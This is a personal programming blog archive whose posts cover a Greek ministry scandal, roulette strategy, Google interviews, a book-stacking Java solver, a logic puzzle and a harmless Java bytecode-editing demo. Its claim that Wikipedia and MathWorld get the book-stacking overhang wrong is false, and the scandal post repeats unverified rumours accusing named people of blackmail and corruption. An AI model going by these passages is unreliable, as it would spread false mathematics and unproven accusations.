Zahopoulos had love affairs with an employee inside the Ministry of Culture, Mrs. Evi Tsekou. Later it became known that he was repeatedly using his power to ask for sexual favors in return for employment, by female employees in the Ministry. After Zahopoulos' suicide attempt, it became known that Mrs. Tsekou, was blackmailing him, threatening to expose their private intercourses written in DVD using a hidden camera. The Government tried to cover the case by equating the case to a typical sex scandal. But it was not...

The public became suspicious over why the secretary committed suicided only having been accused for an off-marriage sexual affair. The shocking truth was that, Mr. Andrianos, journalist in the Prime Minister's office was in possession of the DVD, but the material that he handed to Justice (to investigate the blackmailing case)had been cut off! Of the total 40 minutes only 3 minutes arrived at Justice. Someone had obviously tampered with the original DVD. The Greek public opinion shouted: "Why the hell someone would process a DVD with sexual intercourse that is crime evidence. Are government officials responsible for this??"

There are many rumors about the content of the DVD. The only sure thing is that it is of great political significance. Zahopoulos is supposed to reveal many things about the Prime Minister, Kostas Karamanlis, both personal and political information. It is also said that Zahopoulos is referring to his wife, Natasa Pazaiti. It is also rumored that the Prime Minister himself, after watching the content, he demanded from Zahopoulos to 'just disappear'.However, the scandal has been broadened to cover also the media lobby.

It was revealed that the DVD was handed over to the Government by a journalist. Many have accused Themos Anastasiadis, chief editor of a popular newspaper, as being the journalist that gave away the disc. His prime work partner, Makis Triantafyllopoulos has accused him of making a deal with the government in order to stop tax controls on one of Mr. Anastasiadis' 'obscure' bank accounts. Mr. Anastasiadis has refused any possible participation in the case and has claimed that he has been blackmailed by others on this matter and that several months earlier informed the Police about the case. Mr. Andrianos, the journalist in PM's office that took the DVD, testified to Justice, and informed the interrogators about the journalist's identity and has made public that the journalist has been close friens, from University, with one of Evi Tsekou's former lawyer. Mr. Anastasiadis fits the profile but he denies all accusations and claims he is being 'hunted' by government officials and close media (interesting 'details': Anastasiadis' newspaper has revealed many government scandals over the years and recently obliged Greek Minister Mr. Magginas to resign from his position)

The story has yet a long way to go. Greek public opinion seems disappointed and disgusted about the huge corruption that comes to light. Whatever the end might be, it is sure that great political transforms will happen over the following months (political parties will be teared apart and new political forces will emerge)

See the latest post about the Zahopoulos case here

Beat The Roulette Or Die Trying

2008-01-13T06:52:00.001-08:00

The only reason I will be in a casino will be for the roulette wheel. Maybe it is the numbers, the probabilities or just the rush of the game. As a barely regular roulette player myself, I am constantly plotting new systems for calculating the optimal bet.

After a little search, one may find many betting systems advertised in the web promising huge money earnings. On the other hand others will say that no betting system exists for roulette playing. Well, once again the truth lies somewhere in the middle. Einstein once said that the only way to beat the roulette can happen only when the croupier is not looking you. Indeed, mathematically speaking, if roulette numbers are drawn from a uniform distribution, you have no chance of beating the house. But roulettes are mechanical systems. Croupiers that spin the roulette and keep the game going, can also be thought as physical systems. And any system can be analyzed or studied.

The roulette can be modeled as consisting of four major parts : the rotor, the stator, the deflectors and the pockets. Any slight deficiency in one of these parts can be responsible for making a roulette biased. An elementary analysis on a tilted roulette can prove that creates a forbidden region of the wheel in which the ball is sure not to land. This is tilt can be as small as 0.1-0.3 angle degrees.

On the other hand, many theories are popular about the way croupiers spin the wheel. The most common one attributes a kind of signature to every roulette croupier: The speed he spins the wheel, the speed he launches the ball and the way he disturbs the results. This is certainly true. Croupiers are regular people working sometimes for 12 hours in a row, and depending on the schedule sometimes overnight. Under these conditions, croupiers can act somewhat mechanically by spinning both the wheel and ball the same way for several game turns. Experienced players can identify such circumstances and have profitable bets at the right time. But casinos also have their counter measures. When a croupier understands that he becomes predictable he changes the style of his play by varying the speed or initial position of the system.

However, such kind of croupier behavior, if analyzed, can exhibit in turn more interesting patterns. One striking example happened just yesterday. The croupier was playing on the numbers near 0 (voisins du zero). This soon became obvious even to amateur players. After a huge house loss, the croupier obviously disturbed the play by moving the ball to the other side (5 and 10 neighborhood) or in roulette slang, by spinning opposites. In regular playing the croupier was moving in the neighborhood and when the croupier decided to disturb the results, he moved the outcomes to the opposite roulette side of the current play.

However, there are no magical systems for the roulette. It is certain that the house has the edge and the most important challenge is proper money management. Psychology is a crucial factor and it is certain that the casino retains huge earnings because players become anxious, neurotic or maniac making silly and meaningless bets.

Mathematically, the game has been studied by the Blackjack-Buster, the mathematician Edward Thorp who invented the card counting technique in blackjack that created a whole new generation of professional blackjack players. Together with Claude Shannon they tried to study the game and the physics involved. While there are exist many stories about making huge earnings, I think most of them are total nonsense. Thorp himself in the Mathematics for Gambling does not report any relevant interesting result. After analysis both in terms of playing and in terms of counter measures, he concludes by saying : "...Then for the reasons explained above, the result will be perfectly random." However, the personal wearable computer is said to have come from the roulette studies of Thorp and Shannon.

Mathematical theory in roulette analysis can also be assisted by using the Kelly criterion. Kelly was a researcher in AT&T when he published a paper about communicating information over noisy lines. His analysis provides equations that point to the optimal bets (in terms of % of your bank roll) for maximizing your capital. In an unbiased roulette the Kelly criterion cannot be applied but this is not true for roulettes we believe exhibit some patterns in the results.

To sum up, roulette is an exciting game which involves heavy mathematical theory spanning from probabilities to information theory. In later posts, I will try to give my own perspective about the game. Till then, stay cool and bet low.

Human-Powered Search Engines Are Here

2008-01-08T02:12:00.000-08:00

These days (06/01/08) the Wikia Foundation launched their Search Engine where the ranking of pages by usefulness is now the community's task. Until now, the whole software is in alpha version and can be found at this link.

The software is a little mess, indeed, and many have rushed to sell it as the total letdown of 2008. An overview of the critics can be found in this BusinessWeek article.Of course, this is total nonsense.The software is still in alpha version and it is obvious that its performance will scale when people will start working on it.

Patience is a virtue.

The Importance of Being Elegant

2008-01-07T10:20:00.000-08:00

This is the solution to the the problem of the perfect logicians. You might find 'solutions' for this problem in the web that in essence by listing a large set of numbers and wiping out the 'impossible' ones to arrive at the desired result. Even this relevant Stanford page on the problem, refers to solutions you can hardly bear to look..

The beauty of the problem and of the solution, resides in the elegant modeling. To find the exact solution all you have to do is to feed it to a computer in a form of a computer program and collect the results. My own perspective of elegance is given below:

Making the software for this model is really straightforward. You will find out that the only solution is 4 and 13. You may even try an even larger numbers and find out that 4 and 13 are the only solutions for a large set.

I hope you enjoy this elegance in this as much as I have!

Google Interviews Part II

2008-01-03T09:11:00.001-08:00

The first Google interview is most likely the easiest one.
I have the feeling that they normally ask general questions, just to ensure that you have some knowledge of computers and you are not just the guy who believes he deserves a place in Google because he can make nice Powerpoint presentations. At least happened in my case.

A guy from Mountain View called me sharply at the time we had arranged. He called on my mobile. I had everything arranged: From the bluetooth hands-free to nice and clean desk in front of me. At first, he asked me some questions about my CV, my age and my education. He didn't seem so interested in that and my impression was that his questions were somewhat mechanical.

After a couple of minutes, he started asking technical questions. The first one was easy: If we would like to index the entire earth population, how long should the index size be? Although a piece of cake, I felt like I was asked to prove that P=NP. Soon, I panicked but I asked for some time to 'warm up'. The Google Engineer was kind enough to understand and gave me all the time I needed in order to finally realize that I was talking to Google and that I had to control myself.

After recovering and answering to this question, I was put in front of a puzzle involving buckets and I was asked to find an algorithm that would end up in a situation that one bucket would be empty, as soon as some conditions were met. Excuse me for this vague description but I am still not able to remember exactly what the problem was all about. Instead of trying to find some exact solution to a problem that I couldn't understand (perhaps I was very nervous or I didn't understand the language), I followed an old Harry Truman's quote: "If you cannot convince them, confuse them". This seemed to work extremely well. I soon said something about modelling the problem as a Diophantine equation, where the solutions in integers would mean filling if positive or emptying if negative. Of course I had no idea what I was talking about, but the Google Engineer fell into it. He was not familiar with the idea, we soon started talking until we had switched to a more theoretical conversation. This gave me time to think over the solution and present with a backtracking-type of algorithm. During all this, I was asked some algorithmic-theoretical questions, for example about hashing space and time complexity.

We spent a lot of time on this problem. The last one was around his own domain of expertise. It turned out that this guy was working on Google Book Search and asked what I would if I had to find duplicates in book catalogs with entries with different titles but with the same content.. I had no idea of the format, Google was using to index book entries, I asked some questions that clarified the problem to me and then I presented my solution. My idea was to use some basic format properties of book text, for example number of paragraphs, size of paragraphs and so on. This way a book named "Albert Camus-The Stranger" would match a book "Famous Authors-L'etranger" (the example might not be realistic but it gives the idea)

The 45 minute had finished and it was time to ask my own questions. I asked a couple of things (one being if book search is still beta to which the engineer falsely responded that it is not!)and some other lame how-wonderful-is-Google questions and we said goodbye.

The next day I was informed by my recruiter that I had done well we had to proceed to the next stage. Overall, the guy I talked was very kind and showed a lot of understanding when I was stuck in the first and simplest question. But now I had to prepare for the 2nd interview which my recruiter had informed me that would be much more technical...

Continue to the second interview

Netscape Navigator (1994-2008)

2008-01-02T17:01:00.000-08:00

Netscape Navigator or simply Navigator is DEAD.
On December 28th 2007, AOL announced that will no longer support Navigator.
You can find the original announcement here. It has already been filled with comments.

Indeed, this is huge news. I mean, ok, we already knew that Netscape did have a tiny percent of Internet users, but it cannot be doubted that Netscape has been one if the most innovative software companies and that the Navigator is 'responsible' for the massive explosion of the Web. An amazing variety of technologies were first explored by Netscape: SSL and Javascript are some of them. One clue, it is top in the PC World's List of 50 best Tech Programs. In an era when only a few people were actually aware of the so-called World Wide Web, in a period during which even Microsoft was too busy with productivity software, actually overlooking Internet opportunities and considering it a 'fad', it was Netscape Communications that created the definition of the "killer app".

The actual story of Netscape is also fascinating (The great browser battle, Navigator vs. Explorer is now history), including stock gain records, mythical quarterly revenues, innovations, trials and many other leading to the decadence and death. You can find a very nice article here.

Google Interviews Part I- Questions and more

2007-12-26T23:47:00.000-08:00

This is a summary of my own experience on interviewing in Google. The process went quite well and lasted for about 40 days. I had 4 phone interviews and then they flew me to the Google Site I had applied to. I had 5 on-site interviews, quite stressful and lengthy to finally reach the bitter end 3 days later, when I was informed that I had the potentials but not matched to the exact expectations of the position.

Either you are into computers, or you are having your own interviews with Google or other major software company or you are just curious, you might find this topic to be at least interesting. Later I will reveal many of the questions they asked me but for what follows I will give my own summary view of this process.

I am sure you have heard for 'weird puzzles' or 'crazy questions' during the interviews (for example how many golf balls fit into a school bus? or how many piano tuners are there in the world?). Well, all these are total nonsense. Google is all about algorithms (Well at least the searhing-Google). If you are planning of preparing for interviews some textbooks on the subject might be a good start. Another good advice would be to check out the data structures and algorithms library available in the programming language of your choice (for example Java Collections Framework or .NET Collections package)

But don't be scared. Googlers are not creatures with extra-terrestrial intelligence. You will talk to people that are great scientists but also to people that are not. You will talk to engineers that honor their title but also to others that are merely mediocre programmers. Google is now a big company and this is inevitable. You will understand what I mean if you keep on reading the next blog posts.

So, a few quick tips would be:
1. Have a strong understanding of algorithms
2. Have a mastery on programming and especially the libraries available (collections)
3. Be calm and inspire confidence
4. Goto 1

These 4 advices are fairly general. You can customize it further for the Google case. For example since Google is a search company you should consider fair questions regarding Regular Expressions.

In summary, it has been a really unique experience. Google is really a great company and probably the best place for software engineers (too bad I couldn't see it my self). During the on-site interviews I had the chance to launch at the in-Google restaurant, which was really amazing, providing dishes literally for any kind of diet. You will also talk to interesting people and if lucky you will meet some of them and talk about subjects you are keen on. It is a challenge worth taking and be prepared to deal with all possible outcomes.

In later blog posts I will give out the entire set of questions they asked me during the interviews. You can find the 1st Google Interview here.I have recorded more than 20 questions but unfortunately I am not free to disclose the questions I was asked on site (I am bound to an NDA-Non Disclosure Agreement) Till then, enjoy your holidays!

BookStackingProblem.java

2007-12-18T09:51:00.000-08:00

package algorithms.puzzles;

/**
*
* @author panefsky
*/
public class BookStackingProblem {

private int N; //the number of books
private double[] X; //it is the overhang of the //i-th book beginning from the top
/** Creates a new instance of BookStackingProblem */

// Input n is the number of books we wish to put on the edge
public BookStackingProblem(int n) {
N=n;
X=new double[N+1];
X[0]=0;
}

public void solve() {

System.out.println("Solving...");
for(int i=1;i<=N;i++)
calculateRoot(i);

double Length=0;
for(int i=1;i<=N;i++)
{
System.out.println("x["+i+"] = "+X[i]);
Length+=X[i];
}
System.out.println("\nTotal overhang for "+N+" books is "+Length+"\n");

}

/* The helper function.It holds for g(x) that
g(x) = {
-1, if x<0
2x-1, if 0<=x<1,
1 , if x>=1
}*/
private double g(double x) {

if(x<0) return -1;
else if(x>1) return 1;
else return 2*x-1;
}

/* This is the sum function. It holds that
G(x[n])+G(x[n]+x[n-1])+...+G(x[n]+x[n-1]+...+x[1]) = 0 and this is how we calculate x[n] based on previous x values.*/
private double G(double x,int n) {

double s=0;
double arg = x;
s = g(arg);

for(int i=1;i<=n-1;i++)
{

arg+= X[n-i];
s+=g(arg);
}

return s;
}

/* Calculate the solution to the G-equation. It is easy to prove that the G-equation is a function of x that is increasing in [0,1] This is why we can use bisection method for finding roots*/
private void calculateRoot(int n) {

double a=0;
double b=1;
double e=0.000001;
double root = (a+b)/2;
double value;
do {
root = (a+b)/2;
value = G(root,n);
if(value<0) a = root;
else b=root;
}
while (Math.abs(value)>e) ;

X[n] = root;
}

}

Output:
If compiled and run properly and if we choose to solve for N=10 books, we will get the following output from the program:
Solving...
x[1] = 0.5
x[2] = 0.25
x[3] = 0.16666650772094727
x[4] = 0.13888883590698242
x[5] = 0.125
x[6] = 0.10000014305114746
x[7] = 0.08333325386047363
x[8] = 0.07142853736877441
x[9] = 0.0625
x[10] = 0.06222724914550781

Total overhang for 10 books is 1.560044527053833

This means that starting from the top, the first book should be moved by 0.5 units, the second book by 0.25 units and so on. Notice that the 4th book should be moved by 0.1388 units = 5/36 and not by 1/8 as derived from Wikipedia or Mathworld. It is interesting though if run for many books, the x-sequence is likely to have infinite terms that also occur in the harmonic series (e.g. notice x[5] which is 1/8 or x[9] which is 1/16) But generally x[n] > 1/2n which is why the length is greater than the half of the sum of the harmonic series. (Mathworld's solution)

The Book Stacking Problem - Wikipedia and Mathworld Got It Wrong

2007-12-17T17:20:00.000-08:00

The book stacking problem is a simple problem stated as such:
"Consider you have n identical books. Their density is uniform and the length is equal to 1. What is the maximum overhang that can be achieved when put as a pile at the edge of the table?" Wikipedia has an entry for it as a block stacking problem while Mathworld has an entry as the book stacking problem but both are repeating a wrong result. You can directly jump to the source code written in Java to show why their results are wrong by following this link.

It is easy to recreate the solution for this problem, if we think inductively and solve for the n-case based on the n-1 solution. Start with a stack of n books all as a pile on the table. We drag the top until we reach the maximum overhang. This is clearly 1/2. We then drag the book below the top book and drag it until we have edge balance. We can easily verify that we should drag it for 1/4 units. For the 2 books on the right side we have (1/4)+(1/2+1/4)= 1 and the left side (1-1/4)+(1-1/2-1/4) = 1. So, our construction is balanced. If we continue the same reasoning we can arrive at the conclusion that the maximum overhang of n books, is Ln = 1/2+1/4+1/6+...+1/2n = 1/2*Hn where Hn is the Harmonic series. This is the result stated both in Wikipedia and Mathworld. But this is wrong. Their result fails early, even for the case when we have 4 books and then is always wrong.

Not to spoil the fun, I will not give the complete mathematical proof, but it is slightly easy to produce the model for the solution. These can be represented by the solution of the following system of equations.

You can test the validity of the equations for the case when n=4. In this case, the maximum overhang is a little longer than 1/2*H4. Is is actually equal to L4 = 1/2+1/4+1/6+5/36. To explain, imagine we have put the 3 books in the right places and we begin sliding the bottom 4th book. At the beginning the 3 books above are balanced. So the right side has 1.5 weight units and the left has 1.5+1 = 2.5 because the bottom is all in the left side (Right side is the side on the right of the table edge and an analogous definition holds the left side). When sliding, for every x length units the right side has 1.5+4x and the left side has 2.5-4x. So, at balance, it should be 2.5-4x = 1.5+4x -> x= 1/8. Right? Wrong! This is because the top book has on the right side, a part of length 1/2+1/4+1/6 at the beginning, so it needs only to be moved 1/12 length units to be entirely on the right side. By this point, sliding by x gives 3x weight units to the right side, because the top is entirely on the right. So, making a hypothesis that no other book gets entirely to the right, we now solve correctly by the equation 2.5-4*(1/12)-3x = 1.5+4*(1/12)+3x => 6x = 1/3 => x = 1/18 Now verify that our hypothesis was true and add 1/12+1/18 = 5/36 which gives the length units we have to slide the 4th bottom nook to get the maximum overhang.

So, both Mathworld and Wikipedia both give incorrect solutions for the problem and actually they give an Ω function for the maximum overhang. The actual maximum overhang cannot be easily computed since it has to do with the points where the harmonic raises its integral part.

Information Pollution

2007-12-12T03:33:00.000-08:00

We all use the Web in order to get the information we need. And we have convinced ourselves that in the Web we will find anything we want. But, since anyone could be able to make a web page or blog like this, and since this could be my idiot neighbor, how weird would it sound, if I told that I am kind of worried about information value?

Make a simple test. I was recently contemplating about one quote which as far as I could remember was said by Albert Einstein : "Education is what is left after you've forgotten everything you've learned." Although I was almost certain that Einstein had said it, I was curious to find what the Web would present as the author. So I made a Google search: education is what is left * The asterisk (*) is a Google search option, something like telling the machine to fill the gap.

The search results are disappointing:
The top four (4) results of our top search engine (Google, by usage statistics) attributes the quote to four different persons!!
Result #1:
Site: Carletton University, Ottawa Canada states that the quote was said by an Anonymous person.

Result #2
Site: A personal blog states the quote to be said by Einstein

Result #3
Site: University of Leicester has a page with the following passage :[..]Ezra Pound said that education is what is left behind when we have forgotten everything we set out to learn. What would you.. attributing the quote to some Ezra Pound(?)

Result #4
Site: Finally the personal page of a professor of Mathematics in the University of Tennessee, mentions rigorously the quote in the title and then attributes it to ...Mark Twain!!

Here we are:
One quote and..4 authors in 4 top search results : Anonymous, Einstein, Pound, Twain!!

Now this is what I call Information Pollution. You read a web page, but you have no idea how qualified is its author and how valuable is the content. Now, given that Einstein actually said the quote, the problem becomes much more worrying if we simply look back to the test results: Three university pages wrong and one blog page right!
Is this a slight manifestation of an ongoing phenomenon?
Is it going to be worse?
Is it accidental?
Don't know but sure it will be fun finding out.
Interestingly enough, I recently became aware that Wikipedia creator is planning to create a search engine based on human evaluation over the content. Who knows, an interesting 'battle' may begin. After all, machines are great at calculating metrics to evaluate web pages' content but there is no match to the human judgment.

Hacking Java I

2007-11-19T02:47:00.000-08:00

Well Java is said to be safe since JVM commonly takes care of everything (loading, resolution and so on). Actually it is. However this does not mean that Java is safe from careless usage.When JVM loads a class file, it does not take for granted that it was produced by some kind of Java compiler. It actually is interested in checking its file format.This process is known as bytecode verification and it is supposed to prevent from invoking code that seems to be messed up.

Whatever class fails the verification it is really a bad Java class. But this does not mean that classes that pass it are ok.

To demonstrate this I am going to develop a useful but harmless example to test a case where we compile Java source code and subsequently we deform the class file to alter its functionality.

Here is the code...

public class JavaHack {

public static void main(String[] args){

int a=6;
int b = DivideBy2(a);
int c = DivideBy3(a);
System.out.println(""+a+"/2 = "+b);
System.out.println(""+a+"/3 = "+c);
}

public static int DivideBy2(int i) {return i/2;}
public static int DivideBy3(int j) {return j/3;}

}

If compiled and run successfully we will finally get the output:
6/2=3
6/3=2

Now use a Hex editor, like HxD Editor.
Open the JavaHack class with the editor and search for the sequence: 0xB8 0x00 0x02 0x3D 0x1B ... and alter 0x02 byte to 0x03.
Then immediately(no more compilation) run the JavaHack class. The output will be:
6/2=2 (!)
6/3=2

The function DivideBy2 seems to be returning wrong results. What is actually going on is that we do not call this method any more. To explain, every method has an index into the method table in the class file. The DivideBy2 has id 2 and DivideBy3 has id 3. The sequence 0xB8 0x00 0x02 is actually invokestatic #2 in JVM code, meaning that it invokes the static method with id 2. Changing the value 0x02 to 0x03 actually calls the function DivideBy3, which eventually is called twice!! This explains the strange result of the modified class file.

The example can be easily extended and generalized to create more complex hacks (e.g. find out values of un-initialized variables and so on)

"The Perfect Logicians" Puzzle

2007-11-07T22:39:00.000-08:00

Puzzles of any kind (mathematical, logic etc) is certainly a way to kill some time. It also can be a very efficient and clear way to test your abilities in dealing with complex situations and developing the proper solutions.

Personally I have often found myself derailing from my everyday routine, struggling to solve such problems. My favorites are the kind where the problem is easily stated (some lines), resists hard to usual thinking but surrenders easily to a different but also ingenious approach.
Enjoy!

The problem can be stated as follows.

We have two integers, say α and β, for which it is known that

β>α>1 and α+β<100

There are two perfect logicians, say P and S.
P is given the product of the numbers and S is given the sum of them.
P calls S on the phone and a short conversation follows:

P: I cannot find the numbers...
S: I knew that.
P: Hmm..Now I can!
S: Well, now I can find them too!

Can you find the numbers?
(Use of computer programming is advised!)

You can find a solution to the perfect logicians puzzle here.

The Man In Our Machines

2007-09-03T18:26:00.000-07:00

And his name is Mark Zbikowski.

And to be honest, not all machines, but only Windows based.
(Sorry for the eye catch!)
In every application you start, in every dll file that is loaded on your RAM (whether on your desktop, laptop or PDA device), as long as it is Windows based, there are two magic bytes in head of all the others that have a very specific meaning. These are the initials of one of the first Microsoft employees that was involved on all crucial Windows development phases. As said his name is Mark Zbikowski.

Take any windows executable file, dll file, either for PC or Windows CE and you will notice that the first two bytes are 0x4D 0x5A or in ASCII code MZ. Every file conforming to the Windows PE(Portable Executable) format (exe, dll, ocx etc) has an introducing DOS Header.

DOS was Microsoft's first Operating System delivered with all IBM PCs and was entirely command line based. Executable files (technically files that the system loader could map into memory and hand over the CPU control) were also identified by the .exe .com or .bat extension. With the domination of the Win32 and GUI environments, every new program that required Win32 functionality (e.g. drawing) was not able to be hosted under "pure" DOS. The least they should do was to print an error message like "This program cannot be run in DOS mode". This is a commonly found string also in every PE file (although it can be altered on compilation time)

So every windows application or library has a DOS part (basically a DOS dump program that prints out your desired message). In the beginning of this part that is actually the beginning of the file, the two bytes of the key DOS developer, Mark Zbikowski, are found much like a legacy for us to keep in mind that computers have been much less capable.

In the beginning of the PC era, there were not many things that you could do with a computer. Just programs for simple mathematical operations and one-color command line text editors seemed more like a programmer's joke or an attempt to prove that nothing special could be done with these machines. The process address space was limited just to 64K. Programs used to be the same both in the disk and on memory. With a 16-bit memory pointer you could only reach out for 65536 bytes.

Things changed when Mark decided to put a header before the executable file (much following the Unix style) that would describe the entire file and basically its sections so that it would be possible to create a process image much richer than its disk one. This led to a better memory management and of course good news for developers. So, this header replacing machine specific assembly code, should simply mean...nothing. Zbikowski decided to place his initials and since then every windows 'component' carries this legacy.

Further Reading:
Mark Zbikowski Wikipedia Entry
Mark Zbikowski interview

In next posts I will try to give a brief overview of the PE format used in current Windows systems and the exciting amount of information you could retrieve by processing its raw bytes. (Did you know for example that Skype application was technically built in 1992 ? -to help you I was not there! )

Hello World!

2007-09-03T01:23:00.001-07:00

The title is very familiar to most developers.

In case you are not familiar with the story, creating a program that displays a 'Hello World', is the first thing that the majority of developers does when learning a new platform or language. (just like 'mom' or 'dad' are a baby's first words)

That said, I would like to welcome you all, to a brand new development blog site, where I hope you will find what you are looking for. Which brings me to the next topic.

'Looking for' is the next thing after creating the 'Hello World' program..! It is somewhat frustrating but it is true, that developers have to make a lot of search (documentation, sample code etc) when trying to figure out HOW-TO get things done. It is times when documentation is not enough, you are fed up hitting on the wall and your last resort is requesting help from the community. I personally have been greatly benefited by developer blogs, forums and support. So, I decided to make a small contribution to this...

So, again a juicy welcome to you all and enjoy your visit!!